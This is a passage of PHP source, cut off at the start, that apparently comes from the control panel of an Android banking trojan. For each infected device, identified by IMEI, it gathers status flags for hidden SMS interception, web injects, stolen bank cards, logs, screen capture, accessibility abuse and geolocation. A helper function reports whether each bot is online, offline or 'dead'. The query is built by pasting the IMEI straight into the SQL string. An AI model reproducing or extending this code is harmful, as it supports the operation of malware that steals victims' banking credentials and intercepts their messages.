exec('SET NAMES utf8'); $arrayData = ''; foreach($arrayIMEI as $imei){ if(strlen($imei)>4){ $sql = "SELECT * FROM kliets WHERE IMEI='".$imei."'"; foreach($connection->query($sql) as $row){ if($imei == $row['IMEI']){//IMEI $lastConnect = $row['lastConnect']; $getInconConnect = getIconOnline($lastConnect);//онлайн $getScreen = $row['screen'];//скрин $getaccessibility = $row['accessibility'];//спец возможности $requestSMS = $row['requestSMS'];//скрытый перехват $requestInjProc=$row['requestInjProc'];//инжи $requestGeoloc=$row['requestGeoloc'];//геолокация $cards = $row['l_bank']; //карты $injs = $row['inj']; //инжекты $logs = $row['log']; //логи if($getInconConnect!=0){ $getScreen=0; } $arrayData = "$arrayData|$imei:$getInconConnect:$getScreen:$getaccessibility:$requestSMS:$requestInjProc:$requestGeoloc:$cards:$injs:$logs"; break; } } } } echo "$arrayData"; } } function getIconOnline($lastConnect){ //******Получаем иконку состояния бота, вычисляем дату**** $arr_data_from = explode(" ", $lastConnect); $arr_data_till = explode(" ", date('Y-m-d H:i')); $date_from = $arr_data_from[0]; $date_till = $arr_data_till[0]; $date_from = explode('-', $date_from); $date_till = explode('-', $date_till); $time_from = mktime(0, 0, 0, $date_from[1], $date_from[2], $date_from[0]); $time_till = mktime(0, 0, 0, $date_till[1], $date_till[2], $date_till[0]); $day = ($time_till - $time_from)/60/60/24; //получаем разницу кол-во дней! //----------Секунды!-------/ $date1 = new \DateTime($lastConnect); $date2 = new \DateTime(date('Y-m-d H:i')); $diff = $date2->diff($date1); // разница в секундах $seconds = ($diff->y * 365 * 24 * 60 * 60) + //получаем разницу в секундах! ($diff->m * 30 * 24 * 60 * 60) + ($diff->d * 24 * 60 * 60) + ($diff->h * 60 * 60) + ($diff->i * 60) + $diff->s; //----------обработка состояние иконки on/off-------/ if($day>=2)//Дни! { return '2';//умер } else { if($seconds<=120) { return '0';//онлайн } else { return '1';//оффлайны } } } ?>